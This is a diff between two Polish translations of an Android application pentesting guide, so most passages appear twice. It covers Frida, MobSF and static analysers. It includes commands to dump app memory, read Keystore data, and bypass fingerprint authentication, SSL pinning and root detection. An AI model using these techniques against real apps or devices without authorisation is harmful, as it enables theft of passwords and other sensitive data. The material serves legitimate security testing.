podatności webowych -Ważne jest również poszukiwanie typowych podatności webowych w aplikacji. Szczegółowe informacje na temat identyfikacji i łagodzenia tych podatności wykraczają poza zakres tego streszczenia, ale są szeroko omówione gdzie indziej. +Ważne jest również wyszukiwanie typowych podatności webowych w aplikacji. Szczegółowe informacje o identyfikacji i łagodzeniu tych podatności wykraczają poza zakres tego skrótu, ale są szeroko omówione w innych miejscach. ### Frida -[Frida](https://www.frida.re) to dynamiczne narzędzie do instrumentacji dla deweloperów, reverse-engineerów i badaczy bezpieczeństwa.\ -**Możesz uzyskać dostęp do uruchomionej aplikacji i hookować metody w czasie wykonania, aby zmieniać zachowanie, zmieniać wartości, wyodrębniać wartości, uruchamiać inny kod...**\ -Jeśli chcesz pentestować aplikacje Android musisz umieć używać Frida. +[Frida](https://www.frida.re) to narzędzie do dynamicznej instrumentacji dla deweloperów, reverse-engineerów i badaczy bezpieczeństwa.\ +**Możesz uzyskać dostęp do uruchomionej aplikacji i hookować metody w czasie działania, aby zmienić zachowanie, zmienić wartości, wyodrębnić wartości, uruchomić inny kod...**\ +Jeśli chcesz pentestować aplikacje Android, musisz umieć korzystać z Frida. -- Learn how to use Frida: [**Frida tutorial**](frida-tutorial/index.html) -- Niektóre "GUI" do pracy z Frida: [**https://github.com/m0bilesecurity/RMS-Runtime-Mobile-Security**](https://github.com/m0bilesecurity/RMS-Runtime-Mobile-Security) -- Ojection jest świetny do automatyzacji użycia Frida: [**https://github.com/sensepost/objection**](https://github.com/sensepost/objection) **,** [**https://github.com/dpnishant/appmon**](https://github.com/dpnishant/appmon) -- Możesz znaleźć kilka świetnych skryptów Frida tutaj: [**https://codeshare.frida.re/**](https://codeshare.frida.re) +- Naucz się korzystać z Frida: [**Frida tutorial**](frida-tutorial/index.html) +- Kilka "GUI" do działań z Frida: [**https://github.com/m0bilesecurity/RMS-Runtime-Mobile-Security**](https://github.com/m0bilesecurity/RMS-Runtime-Mobile-Security) +- Ojection świetnie automatyzuje użycie Frida: [**https://github.com/sensepost/objection**](https://github.com/sensepost/objection) **,** [**https://github.com/dpnishant/appmon**](https://github.com/dpnishant/appmon) +- Możesz znaleźć świetne skrypty Frida tutaj: [**https://codeshare.frida.re/**](https://codeshare.frida.re) - Spróbuj obejść mechanizmy anti-debugging / anti-frida ładując Frida jak wskazano w [https://erfur.github.io/blog/dev/code-injection-without-ptrace](https://erfur.github.io/blog/dev/code-injection-without-ptrace) (narzędzie [linjector](https://github.com/erfur/linjector-rs)) -#### Anti-instrumentation & SSL pinning bypass workflow +#### Anti-instrumentation & workflow obejścia SSL pinning {{#ref}} android-anti-instrumentation-and-ssl-pinning-bypass.md @@ -525,9 +525,9 @@ android-anti-instrumentation-and-ssl-pinning-bypass.md ### **Zrzut pamięci - Fridump** -Sprawdź, czy aplikacja nie przechowuje w pamięci wrażliwych informacji, których nie powinna przechowywać, takich jak hasła lub frazy mnemoniczne. +Sprawdź, czy aplikacja nie przechowuje w pamięci wrażliwych informacji, których nie powinna, takich jak hasła czy mnemoniki. -Korzystając z [**Fridump3**](https://github.com/rootbsd/fridump3) możesz zrzucić pamięć aplikacji za pomocą: +Używając [**Fridump3**](https://github.com/rootbsd/fridump3) możesz zrzucić pamięć aplikacji poleceniem: ```bash # With PID python3 fridump3.py -u @@ -536,35 +536,35 @@ python3 fridump3.py -u frida-ps -Uai python3 fridump3.py -u "" ``` -To zrzuci pamięć do folderu ./dump, a następnie możesz użyć grep, na przykład: +To zapisze dump memory w folderze ./dump, a następnie możesz użyć grep, np.: ```bash strings * | grep -E "^[a-z]+ [a-z]+ [a-z]+ [a-z]+ [a-z]+ [a-z]+ [a-z]+ [a-z]+ [a-z]+ [a-z]+ [a-z]+ [a-z]+$" ``` -### **Wrażliwe dane w Keystore** +### **Poufne dane w Keystore** -W Androidzie Keystore to najlepsze miejsce do przechowywania wrażliwych danych, jednak przy odpowiednich uprawnieniach nadal jest **możliwe uzyskanie do nich dostępu**. Ponieważ aplikacje często zapisują tu **wrażliwe dane w postaci niezaszyfrowanej**, pentests powinny to sprawdzić jako użytkownik root albo ktoś z fizycznym dostępem do urządzenia mógłby ukraść te dane. +W Androidzie Keystore jest najlepszym miejscem do przechowywania poufnych danych, jednak przy odpowiednich uprawnieniach nadal jest **możliwe uzyskanie dostępu**. Ponieważ aplikacje mają tendencję do przechowywania tutaj **poufnych danych w clear text**, pentests powinny to sprawdzić jako root user, ponieważ ktoś z fizycznym dostępem do urządzenia mógłby ukraść te dane. -Nawet jeśli aplikacja zapisuje dane w keystore, dane powinny być zaszyfrowane. +Nawet jeśli aplikacja przechowuje dane w Keystore, dane powinny być zaszyfrowane. -Aby uzyskać dostęp do danych w keystore, możesz użyć tego skryptu Frida: [https://github.com/WithSecureLabs/android-keystore-audit/blob/master/frida-scripts/tracer-cipher.js](https://github.com/WithSecureLabs/android-keystore-audit/blob/master/frida-scripts/tracer-cipher.js) +Aby uzyskać dostęp do danych wewnątrz Keystore, możesz użyć tego Frida scriptu: [https://github.com/WithSecureLabs/android-keystore-audit/blob/master/frida-scripts/tracer-cipher.js](https://github.com/WithSecureLabs/android-keystore-audit/blob/master/frida-scripts/tracer-cipher.js) ```bash frida -U -f com.example.app -l frida-scripts/tracer-cipher.js ``` -### **Fingerprint/Biometrics Bypass** +### **Odcisk palca/Biometria Bypass** -Używając poniższego skryptu Frida może być możliwe **bypass fingerprint authentication**, które aplikacje Android mogą wykonywać, aby **chronić pewne wrażliwe obszary:** +Używając poniższego skryptu Frida możliwe jest **bypass fingerprint authentication**, które aplikacje Android mogą stosować w celu **zabezpieczenia niektórych wrażliwych obszarów:** ```bash frida --codeshare krapgras/android-biometric-bypass-update-android-11 -U -f ``` ### **Obrazy w tle** -Kiedy umieścisz aplikację w tle, Android zapisuje **snapshot aplikacji**, więc gdy zostanie przywrócona na pierwszy plan, zaczyna najpierw ładować obraz, aby wyglądało, że aplikacja uruchomiła się szybciej. +Gdy umieścisz aplikację w tle, Android zapisuje **migawkę aplikacji**, dzięki czemu po przywróceniu do pierwszego planu zaczyna ładować obraz przed samą aplikacją, żeby wyglądało, że aplikacja uruchomiła się szybciej. -Jeśli jednak ten snapshot zawiera **wrażliwe informacje**, osoba mająca dostęp do snapshotu może **ukraść te informacje** (uwaga: potrzebujesz root, aby uzyskać dostęp). +Jednak jeśli ta migawka zawiera **poufne informacje**, osoba mająca dostęp do migawki może **ukraść te dane** (uwaga: dostęp do nich wymaga uprawnień root). -Snapshoty są zwykle przechowywane w: **`/data/system_ce/0/snapshots`** +Migawki są zazwyczaj przechowywane w: **`/data/system_ce/0/snapshots`** -Android udostępnia sposób na **zablokowanie przechwytywania screenshotów przez ustawienie parametru layout FLAG_SECURE**. Używając tej flagi, zawartość okna jest traktowana jako bezpieczna, co zapobiega jej pojawianiu się na screenshotach lub wyświetlaniu na niezabezpieczonych wyświetlaczach. +Android oferuje sposób na **zapobieganie przechwytywaniu zrzutów ekranu poprzez ustawienie parametru układu FLAG_SECURE**. Używając tej flagi, zawartość okna jest traktowana jako bezpieczna, co uniemożliwia jej pojawienie się na zrzutach ekranu lub wyświetlanie na niezabezpieczonych wyświetlaczach. ```bash getWindow().setFlags(LayoutParams.FLAG_SECURE, LayoutParams.FLAG_SECURE); ``` @@ -574,25 +574,25 @@ To narzędzie może pomóc w zarządzaniu różnymi narzędziami podczas analizy ### Intent Injection -Developerzy często tworzą komponenty pośredniczące, takie jak activities, services i broadcast receivers, które obsługują te Intents i przekazują je do metod takich jak `startActivity(...)` lub `sendBroadcast(...)`, co może być ryzykowne. +Deweloperzy często tworzą komponenty-proxy, takie jak activities, services i broadcast receivers, które obsługują te Intenty i przekazują je do metod takich jak `startActivity(...)` lub `sendBroadcast(...)`, co może być ryzykowne. -Niebezpieczeństwo polega na umożliwieniu atakującym wywołania nieeksportowanych komponentów aplikacji lub dostępu do wrażliwych content providerów poprzez przekierowanie tych Intents. Dobrym przykładem jest komponent `WebView`, który konwertuje URL-e na obiekty `Intent` przy pomocy `Intent.parseUri(...)` i następnie je wykonuje, co potencjalnie prowadzi do złośliwych Intent injections. +Niebezpieczeństwo polega na umożliwieniu atakującym wywoływania nieeksportowanych komponentów aplikacji lub dostępu do wrażliwych content providers przez przekierowywanie tych Intentów. Dobrym przykładem jest komponent `WebView` konwertujący URL-e na obiekty `Intent` za pomocą `Intent.parseUri(...)` i następnie je wykonujący, co może prowadzić do złośliwych wstrzyknięć Intentów. ### Essential Takeaways - **Intent Injection** is similar to web's Open Redirect issue. - Eksploity polegają na przekazywaniu obiektów `Intent` jako extras, które mogą być przekierowane do wykonania niebezpiecznych operacji. -- Może ujawnić nieeksportowane komponenty i content providerów atakującym. -- Konwersja URL → `Intent` przez `WebView` może umożliwić niezamierzone działania. +- Może to narażać nieeksportowane komponenty i content providers na dostęp ze strony atakujących. +- Konwersja URL → `Intent` przez `WebView` może ułatwiać niezamierzone działania. ### Android Client Side Injections and others -Prawdopodobnie znasz tego rodzaju podatności z web. W aplikacji Android musisz zachować szczególną ostrożność w przypadku tych podatności: +Prawdopodobnie znasz tego typu podatności z Weba. Trzeba szczególnie uważać na te podatności w aplikacji Android: -- **SQL Injection:** Przy pracy z dynamicznymi zapytaniami lub Content-Providers upewnij się, że używasz zapytań parametryzowanych. -- **JavaScript Injection (XSS):** Upewnij się, że obsługa JavaScript i pluginów jest wyłączona dla każdego WebView (domyślnie wyłączona). [More info here](webview-attacks.md#javascript-enabled). +- **SQL Injection:** Przy pracy z zapytaniami dynamicznymi lub Content-Providers upewnij się, że używasz zapytań parametryzowanych. +- **JavaScript Injection (XSS):** Sprawdź, czy wsparcie dla JavaScript i Pluginów jest wyłączone dla wszystkich WebViews (domyślnie wyłączone). [More info here](webview-attacks.md#javascript-enabled). - **Local File Inclusion:** WebViews powinny mieć dostęp do systemu plików wyłączony (domyślnie włączony) - `(webview.getSettings().setAllowFileAccess(false);)`. [More info here](webview-attacks.md#javascript-enabled). -- **Eternal cookies**: W wielu przypadkach po zakończeniu sesji aplikacja android nie unieważnia cookie lub zostaje ono zapisane na dysku +- **Eternal cookies**: W wielu przypadkach po zakończeniu sesji w aplikacji Android cookie nie jest unieważniany lub może nawet zostać zapisany na dysku - [**Secure Flag** in cookies](../../pentesting-web/hacking-with-cookies/index.html#cookies-flags) --- @@ -605,51 +605,51 @@ Prawdopodobnie znasz tego rodzaju podatności z web. W aplikacji Android musisz ![](<../../images/image (866).png>) -**Ocena podatności aplikacji** za pomocą ładnego webowego interfejsu. Możesz też wykonać analizę dynamiczną (ale musisz przygotować środowisko). +**Ocena podatności aplikacji** przy użyciu przyjaznego webowego interfejsu. Możesz też przeprowadzić analizę dynamiczną (ale musisz przygotować środowisko). ```bash docker pull opensecurity/mobile-security-framework-mobsf docker run -it -p 8000:8000 opensecurity/mobile-security-framework-mobsf:latest ``` -Zauważ, że MobSF potrafi analizować **Android**(apk)**, IOS**(ipa) **and Windows**(apx) aplikacje (_Aplikacje Windows muszą być analizowane z MobSF zainstalowanym na hoście Windows_).\ -Również, jeśli utworzysz plik **ZIP** zawierający kod źródłowy aplikacji **Android** lub **IOS** (przejdź do folderu głównego aplikacji, zaznacz wszystko i utwórz ZIPfile), MobSF będzie w stanie również go przeanalizować. +Zauważ, że MobSF może analizować **Android**(apk)**, IOS**(ipa) **and Windows**(apx) aplikacje (_Windows applications must be analyzed from a MobSF installed in a Windows host_).\ +Ponadto, jeśli stworzysz plik **ZIP** ze źródłami aplikacji **Android** lub **IOS** (wejdź do katalogu głównego aplikacji, zaznacz wszystko i utwórz ZIP), MobSF będzie w stanie go również przeanalizować. -MobSF pozwala także na **diff/Compare** analiz oraz na integrację z **VirusTotal** (musisz ustawić swój klucz API w _MobSF/settings.py_ i włączyć to: `VT_ENABLED = TRUE` `VT_API_KEY = ` `VT_UPLOAD = TRUE`). Możesz też ustawić `VT_UPLOAD` na `False`, wtedy zamiast pliku zostanie przesłany **hash**. +MobSF umożliwia także wykonanie **diff/Compare** analiz oraz integrację z **VirusTotal** (musisz ustawić swój API key w _MobSF/settings.py_ i włączyć to: `VT_ENABLED = TRUE` `VT_API_KEY = ` `VT_UPLOAD = TRUE`). Możesz również ustawić `VT_UPLOAD` na `False`, wtedy zamiast pliku zostanie przesłany **hash**. -### Assisted Dynamic analysis with MobSF +### Asystowana dynamic analysis z MobSF -**MobSF** może być również bardzo pomocny przy **dynamic analysis** na **Android**, ale w tym przypadku musisz zainstalować MobSF oraz **genymotion** na swoim hoście (VM lub Docker nie zadziałają). _Note: You need to **start first a VM in genymotion** and **then MobSF.**_\ -Dynamiczny analyzer MobSF może: +**MobSF** może być również bardzo pomocny przy **dynamic analysis** na **Android**, ale w tym przypadku musisz zainstalować MobSF i **genymotion** na swoim hoście (VM lub Docker nie będą działać). _Uwaga: Musisz najpierw **uruchomić VM w genymotion** a dopiero potem MobSF._\ +**MobSF dynamic analyser** potrafi: -- **Dump application data** (URL-e, logi, clipboard, zrzuty ekranu wykonane przez Ciebie, zrzuty ekranu wykonane przez "**Exported Activity Tester**", e-maile, bazy danych SQLite, pliki XML i inne wygenerowane pliki). Wszystko to jest robione automatycznie z wyjątkiem zrzutów ekranu — musisz nacisnąć, gdy chcesz wykonać zrzut, lub nacisnąć "**Exported Activity Tester**", aby uzyskać zrzuty wszystkich exported activities. +- **Dump application data** (URLs, logs, clipboard, screenshots made by you, screenshots made by "**Exported Activity Tester**", emails, SQLite databases, XML files, and other created files). Wszystko to jest robione automatycznie z wyjątkiem screenshotów — musisz nacisnąć, kiedy chcesz zrobić screenshot lub nacisnąć "**Exported Activity Tester**", aby uzyskać zrzuty wszystkich exported activities. - Capture **HTTPS traffic** - Use **Frida** to obtain **runtime** **information** -Od wersji **Android** > 5, automatycznie uruchomi Frida i ustawi globalne ustawienia proxy, aby przechwytywać ruch. Będzie przechwytywać tylko ruch z testowanej aplikacji. +Od wersji **Android > 5** automatycznie uruchomi **Frida** i ustawi globalne ustawienia **proxy**, aby **capture** ruch. Będzie przechwytywać ruch tylko z testowanej aplikacji. **Frida** Domyślnie użyje także kilku Frida Scripts do **bypass SSL pinning**, **root detection** i **debugger detection** oraz do **monitor interesting APIs**.\ -MobSF może również **invoke exported activities**, robić **screenshots** tych aktywności i **save** je do raportu. +MobSF może także **invoke exported activities**, pobierać **screenshots** tych aktywności i **save** je do raportu. -Aby **start** testów dynamicznych naciśnij zielony przycisk: "**Start Instrumentation**". Naciśnij "**Frida Live Logs**", aby zobaczyć logi generowane przez skrypty Frida oraz "**Live API Monitor**", aby zobaczyć wszystkie wywołania zahookowanych metod, przekazane argumenty i wartości zwracane (pojawi się to po naciśnięciu "Start Instrumentation").\ -MobSF pozwala też na załadowanie własnych **Frida scripts** (aby wysłać wyniki swoich Friday scripts do MobSF użyj funkcji `send()`). Ma też **kilka wstępnie napisanych skryptów**, które możesz załadować (możesz dodać więcej w `MobSF/DynamicAnalyzer/tools/frida_scripts/others/`), po prostu je **wybierz**, naciśnij "**Load**" i potem "**Start Instrumentation**" (logi tych skryptów zobaczysz w "**Frida Live Logs**"). +Aby **start** testy dynamiczne naciśnij zielony przycisk: "**Start Instrumentation**". Naciśnij "**Frida Live Logs**", aby zobaczyć logi generowane przez skrypty Frida oraz "**Live API Monitor**", aby zobaczyć wszystkie wywołania do hookowanych metod, przekazywane argumenty i zwracane wartości (to pojawi się po naciśnięciu "Start Instrumentation").\ +MobSF pozwala również wczytać własne **Frida scripts** (aby wysłać wyniki swoich Frida scripts do MobSF użyj funkcji `send()`). Ma też **kilka predpisanych skryptów**, które możesz wczytać (możesz dodać więcej w `MobSF/DynamicAnalyzer/tools/frida_scripts/others/`), po prostu **wybierz je**, naciśnij "**Load**" i naciśnij "**Start Instrumentation**" (będziesz mógł zobaczyć logi tych skryptów w "**Frida Live Logs**"). ![](<../../images/image (419).png>) -Co więcej, masz kilka dodatkowych funkcjonalności Frida: +Dodatkowo masz kilka pomocniczych funkcji Frida: - **Enumerate Loaded Classes**: Wydrukuje wszystkie załadowane klasy -- **Capture Strings**: Wydrukuje wszystkie przechwycone strings podczas używania aplikacji (bardzo dużo logów) -- **Capture String Comparisons**: Może być bardzo użyteczne. Pokaże 2 porównywane strings oraz czy wynik był True czy False. +- **Capture Strings**: Wydrukuje wszystkie uchwycone stringi podczas używania aplikacji (bardzo hałaśliwe) +- **Capture String Comparisons**: Może być bardzo użyteczne. Pokaże **2 porównywane stringi** oraz czy wynik był True czy False. - **Enumerate Class Methods**: Wpisz nazwę klasy (np. "java.io.File") i wydrukuje wszystkie metody tej klasy. -- **Search Class Pattern**: Wyszukuje klasy według wzorca +- **Search Class Pattern**: Wyszukiwanie klas po wzorcu - **Trace Class Methods**: **Trace** całej klasy (zobacz wejścia i wyjścia wszystkich metod klasy). Pamiętaj, że domyślnie MobSF trace'uje kilka interesujących Android Api methods. -Gdy wybierzesz moduł pomocniczy, którego chcesz użyć, musisz nacisnąć "**Start Intrumentation**" i zobaczysz wszystkie wyjścia w "**Frida Live Logs**". +Gdy wybierzesz moduł pomocniczy, którego chcesz użyć, musisz nacisnąć "**Start Intrumentation**" i zobaczysz wszystkie outputy w "**Frida Live Logs**". **Shell** -MobSF dostarcza także shell z kilkoma komendami **adb**, **MobSF commands** oraz typowymi komendami **shell** na dole strony dynamic analysis. Kilka interesujących poleceń: +MobSF udostępnia również shell z kilkoma komendami **adb**, komendami **MobSF**, oraz standardowymi poleceniami **shell** na dole strony dynamic analysis. Kilka ciekawych komend: ```bash help shell ls @@ -658,24 +658,24 @@ exported_activities services receivers ``` -**Narzędzia HTTP** +**HTTP tools** -Gdy ruch HTTP zostanie przechwycony, możesz zobaczyć surowy widok przechwyconego ruchu na przycisku "**HTTP(S) Traffic**" lub ładniejszy widok w zielonym przycisku "**Start HTTPTools**". Z tej drugiej opcji możesz **wysłać** **przechwycone żądania** do **proxies** takich jak Burp lub Owasp ZAP.\ -Aby to zrobić, _power on Burp -->_ _turn off Intercept --> in MobSB HTTPTools select the request_ --> naciśnij "**Send to Fuzzer**" --> _wybierz adres proxy_ ([http://127.0.0.1:8080\\](http://127.0.0.1:8080)). +Kiedy ruch HTTP jest przechwytywany, możesz zobaczyć surowy widok przechwyconego ruchu w przycisku "**HTTP(S) Traffic**" na dole lub ładniejszy widok w zielonym przycisku "**Start HTTPTools**". Z drugiej opcji możesz **wysłać** **przechwycone żądania** do **proxies** takich jak Burp lub Owasp ZAP.\ +Aby to zrobić: _uruchom Burp -->_ _wyłącz Intercept --> w MobSB HTTPTools wybierz żądanie_ --> naciśnij "**Send to Fuzzer**" --> _wybierz adres proxy_ ([http://127.0.0.1:8080\\](http://127.0.0.1:8080)). -Po zakończeniu analizy dynamicznej z MobSF możesz kliknąć "**Start Web API Fuzzer**", aby **fuzzować żądania http** i szukać podatności. +Gdy zakończysz analizę dynamiczną w MobSF, możesz kliknąć "**Start Web API Fuzzer**", aby **fuzzować http requests** i szukać podatności. > [!TIP] -> Po przeprowadzeniu analizy dynamicznej z MobSF ustawienia proxy mogą być źle skonfigurowane i nie będzie można ich naprawić z poziomu GUI. Możesz naprawić ustawienia proxy wykonując: +> Po wykonaniu analizy dynamicznej w MobSF ustawienia proxy mogą być nieprawidłowo skonfigurowane i nie będzie można ich naprawić z GUI. Możesz naprawić ustawienia proxy wykonując: > > ``` > adb shell settings put global http_proxy :0 > ``` -### Wspomagana analiza dynamiczna za pomocą Inspeckage +### Assisted Dynamic Analysis with Inspeckage Narzędzie można pobrać z [**Inspeckage**](https://github.com/ac-pm/Inspeckage).\ -To narzędzie używa pewnych **Hooks**, aby informować cię **co się dzieje w aplikacji** podczas wykonywania **analizy dynamicznej**. +To narzędzie wykorzystuje niektóre **Hooks**, aby informować Cię, **co dzieje się w aplikacji** podczas przeprowadzania **analizy dynamicznej**. ### [Yaazhini](https://www.vegabird.com/yaazhini/) @@ -685,7 +685,7 @@ To **świetne narzędzie do przeprowadzania analizy statycznej z GUI** ### [Qark](https://github.com/linkedin/qark) -To narzędzie zostało zaprojektowane do wyszukiwania różnych **security related Android application vulnerabilities**, zarówno w **source code**, jak i w **packaged APKs**. Narzędzie jest także **capable of creating a "Proof-of-Concept" deployable APK** oraz generowania **ADB commands**, aby wykorzystać niektóre z odnalezionych podatności (Exposed activities, intents, tapjacking...). Podobnie jak w przypadku Drozer, nie ma potrzeby rootowania urządzenia testowego. +Narzędzie to zostało zaprojektowane do wyszukiwania różnych **bezpieczeństwa związanych z aplikacjami Android** podatności, zarówno w **source code**, jak i w spakowanych APKs. Narzędzie potrafi także **tworzyć deployowalne APK "Proof-of-Concept"** oraz komendy ADB, aby wykorzystać niektóre z odnalezionych podatności (Exposed activities, intents, tapjacking...). Podobnie jak w przypadku Drozer, nie ma potrzeby rootowania urządzenia testowego. ```bash pip3 install --user qark # --user is only needed if not using a virtualenv qark --apk path/to/my.apk @@ -694,10 +694,10 @@ qark --java path/to/specific/java/file.java ``` ### [**ReverseAPK**](https://github.com/1N3/ReverseAPK.git) -- Wyświetla wszystkie wyodrębnione pliki do szybkiego wglądu +- Wyświetla wszystkie wyodrębnione pliki dla łatwego przeglądu - Automatycznie dekompiluje pliki APK do formatu Java i Smali -- Analizuje AndroidManifest.xml pod kątem powszechnych podatności i zachowań -- Statyczna analiza kodu źródłowego pod kątem powszechnych podatności i zachowań +- Analizuje AndroidManifest.xml pod kątem typowych luk i zachowań +- Statyczna analiza kodu źródłowego pod kątem typowych luk i zachowań - Informacje o urządzeniu - i więcej ```bash @@ -705,11 +705,11 @@ reverse-apk relative/path/to/APP.apk ``` ### [SUPER Android Analyzer](https://github.com/SUPERAndroidAnalyzer/super) -SUPER to aplikacja wiersza poleceń, którą można używać w Windows, MacOS X i Linux, analizująca _.apk_ files w poszukiwaniu podatności. Robi to przez dekompresję APK i zastosowanie serii reguł w celu wykrycia tych podatności. +SUPER jest aplikacją wiersza poleceń, która może być używana na Windows, MacOS X i Linux, i analizuje pliki _.apk_ w poszukiwaniu luk. Działa to poprzez dekompresję APK i zastosowanie serii reguł w celu wykrywania tych luk. -Wszystkie reguły są zdefiniowane w pliku `rules.json`, a każda firma lub tester może stworzyć własne reguły, aby analizować to, czego potrzebuje. +Wszystkie reguły znajdują się w pliku `rules.json`, a każda firma lub tester może tworzyć własne reguły, aby analizować to, czego potrzebują. -Pobierz najnowsze binaria z [download page](https://superanalyzer.rocks/download.html) +Pobierz najnowsze binaria ze [download page](https://superanalyzer.rocks/download.html) ``` super-analyzer {apk_file} ``` @@ -717,17 +717,17 @@ super-analyzer {apk_file} ![](<../../images/image (297).png>) -StaCoAn to narzędzie **crossplatform**, które wspomaga developerów, bugbounty hunters i ethical hackers w przeprowadzaniu [statycznej analizy kodu](https://en.wikipedia.org/wiki/Static_program_analysis) aplikacji mobilnych. +StaCoAn jest **wieloplatformowym** narzędziem, które pomaga deweloperom, bugbounty hunters i ethical hackers w przeprowadzaniu [static code analysis](https://en.wikipedia.org/wiki/Static_program_analysis) aplikacji mobilnych. -Koncepcja polega na tym, że przeciągasz i upuszczasz plik aplikacji mobilnej (plik .apk lub .ipa) na aplikację StaCoAn, a ona wygeneruje dla Ciebie wizualny i przenośny raport. Możesz dostosować ustawienia i wordlists, aby uzyskać spersonalizowane doświadczenie. +Koncepcja polega na przeciągnięciu i upuszczeniu pliku aplikacji mobilnej (plik .apk lub .ipa) na aplikację StaCoAn, która wygeneruje dla Ciebie wizualny i przenośny raport. Możesz dostosować ustawienia i wordlists, aby uzyskać spersonalizowane doświadczenie. -Pobierz[ najnowsze wydanie](https://github.com/vincentcox/StaCoAn/releases): +Pobierz[ latest release](https://github.com/vincentcox/StaCoAn/releases): ``` ./stacoan ``` ### [AndroBugs](https://github.com/AndroBugs/AndroBugs_Framework) -AndroBugs Framework to system analizy podatności aplikacji Android, który pomaga deweloperom oraz hackersom znaleźć potencjalne luki bezpieczeństwa.\ +AndroBugs Framework to system analizy podatności dla Androida, który pomaga deweloperom lub hackersom znaleźć potencjalne luki bezpieczeństwa w aplikacjach Android.\ [Windows releases](https://github.com/AndroBugs/AndroBugs_Framework/releases) ``` python androbugs.py -f [APK file] @@ -735,11 +735,11 @@ androbugs.exe -f [APK file] ``` ### [Androwarn](https://github.com/maaaaz/androwarn) -**Androwarn** to narzędzie, którego głównym celem jest wykrywanie i ostrzeganie użytkownika o potencjalnych złośliwych zachowaniach wykazywanych przez aplikację Android. +**Androwarn** to narzędzie, którego głównym celem jest wykrywanie i ostrzeganie użytkownika o potencjalnie złośliwych zachowaniach rozwijanych przez aplikację Android. -Detekcja jest przeprowadzana za pomocą **static analysis** Dalvik bytecode aplikacji, reprezentowanego jako **Smali**, przy użyciu biblioteki [`androguard`](https://github.com/androguard/androguard). +Detekcja odbywa się poprzez **static analysis** Dalvik bytecode aplikacji, reprezentowanego jako **Smali**, przy użyciu biblioteki [`androguard`](https://github.com/androguard/androguard). -Narzędzie wyszukuje **common behavior of "bad" applications** takich jak: Telephony identifiers exfiltration, Audio/video flow interception, PIM data modification, Arbitrary code execution... +To narzędzie wyszukuje **powszechne zachowania "złych" aplikacji** takie jak: Telephony identifiers exfiltration, Audio/video flow interception, PIM data modification, Arbitrary code execution... ``` python androwarn.py -i my_application_to_be_analyzed.apk -r html -v 3 ``` @@ -747,16 +747,16 @@ python androwarn.py -i my_application_to_be_analyzed.apk -r html -v 3 ![](<../../images/image (595).png>) -**MARA** to framework do **M**obile **A**pplication **R**everse engineering and **A**nalysis. Jest to narzędzie, które łączy powszechnie używane narzędzia do reverse engineeringu i analizy aplikacji mobilnych, aby wspomóc testowanie aplikacji mobilnych pod kątem zagrożeń bezpieczeństwa OWASP. Jego celem jest ułatwienie tego zadania deweloperom aplikacji mobilnych oraz specjalistom ds. bezpieczeństwa. +**MARA** to **M**obile **A**pplication **R**everse engineering and **A**nalysis Framework. To narzędzie łączące powszechnie używane narzędzia do reverse engineeringu i analizy aplikacji mobilnych, aby wspomóc testowanie aplikacji mobilnych pod kątem zagrożeń bezpieczeństwa zdefiniowanych przez OWASP mobile. Jego celem jest ułatwienie tego zadania programistom aplikacji mobilnych i specjalistom ds. bezpieczeństwa. -Jest w stanie: +Potrafi: -- Wyodrębniać kod Java i Smali przy użyciu różnych narzędzi -- Analizować APKi przy użyciu: [smalisca](https://github.com/dorneanu/smalisca), [ClassyShark](https://github.com/google/android-classyshark), [androbugs](https://github.com/AndroBugs/AndroBugs_Framework), [androwarn](https://github.com/maaaaz/androwarn), [APKiD](https://github.com/rednaga/APKiD) -- Wyodrębniać prywatne informacje z APK przy użyciu regexps. -- Analizować Manifest. -- Analizować znalezione domeny przy użyciu: [pyssltest](https://github.com/moheshmohan/pyssltest), [testssl](https://github.com/drwetter/testssl.sh) i [whatweb](https://github.com/urbanadventurer/WhatWeb) -- Deobfuskować APK za pomocą [apk-deguard.com](http://www.apk-deguard.com) +- Extract Java and Smali code using different tools +- Analyze APKs using: [smalisca](https://github.com/dorneanu/smalisca), [ClassyShark](https://github.com/google/android-classyshark), [androbugs](https://github.com/AndroBugs/AndroBugs_Framework), [androwarn](https://github.com/maaaaz/androwarn), [APKiD](https://github.com/rednaga/APKiD) +- Extract private information from the APK using regexps. +- Analyze the Manifest. +- Analyze found domains using: [pyssltest](https://github.com/moheshmohan/pyssltest), [testssl](https://github.com/drwetter/testssl.sh) and [whatweb](https://github.com/urbanadventurer/WhatWeb) +- Deobfuscate APK via [apk-deguard.com](http://www.apk-deguard.com) ### Koodous @@ -764,17 +764,17 @@ Przydatne do wykrywania malware: [https://koodous.com/](https://koodous.com/) ## Obfuscating/Deobfuscating code -Zwróć uwagę, że w zależności od usługi i konfiguracji użytej do obfuskacji kodu, secrets mogą być obfuskowane lub nie. +Zwróć uwagę, że w zależności od usługi i konfiguracji użytej do obfuskacji kodu, sekrety mogą być albo obfuskowane, albo nie. ### [ProGuard]() -Z [Wikipedia](): **ProGuard** to open source narzędzie wiersza poleceń, które zmniejsza, optymalizuje i obfuskikuje kod Java. Potrafi optymalizować bytecode oraz wykrywać i usuwać nieużywane instrukcje. ProGuard jest wolnym oprogramowaniem i jest dystrybuowany na licencji GNU General Public License, wersja 2. +From [Wikipedia](): **ProGuard** to open source narzędzie wiersza poleceń, które zmniejsza, optymalizuje i obfuskauje kod Java. Potrafi optymalizować bytecode oraz wykrywać i usuwać nieużywane instrukcje. ProGuard jest wolnym oprogramowaniem i jest dystrybuowany na licencji GNU General Public License, wersja 2. -ProGuard jest dystrybuowany jako część Android SDK i uruchamia się podczas budowania aplikacji w trybie release. +ProGuard jest dystrybuowany jako część Android SDK i uruchamiany podczas budowania aplikacji w trybie release. ### [DexGuard](https://www.guardsquare.com/dexguard) -Znajdź przewodnik krok po kroku jak deobfuskować APK na [https://blog.lexfo.fr/dexguard.html](https://blog.lexfo.fr/dexguard.html) +Znajdziesz przewodnik krok po kroku dotyczący deobfuskacji apk w [https://blog.lexfo.fr/dexguard.html](https://blog.lexfo.fr/dexguard.html) (Z tego przewodnika) Ostatnim razem, gdy sprawdzano, tryb działania DexGuard był następujący: @@ -786,48 +786,44 @@ Znajdź przewodnik krok po kroku jak deobfuskować APK na [https://blog.lexfo.fr ### [DeGuard](http://apk-deguard.com) -**DeGuard odwraca proces obfuskacji wykonywany przez narzędzia obfuskacyjne dla Androida. Umożliwia to liczne analizy bezpieczeństwa, w tym inspekcję kodu i rozpoznawanie bibliotek.** +**DeGuard odwraca proces obfuskacji wykonywany przez narzędzia obfuskacyjne dla Androida. To umożliwia liczne analizy bezpieczeństwa, w tym inspekcję kodu i rozpoznawanie bibliotek.** -Możesz przesłać obfuskowane APK na ich platformę. +Możesz przesłać obfuskowany APK na ich platformę. ### [Deobfuscate android App]https://github.com/In3tinct/deobfuscate-android-app -To 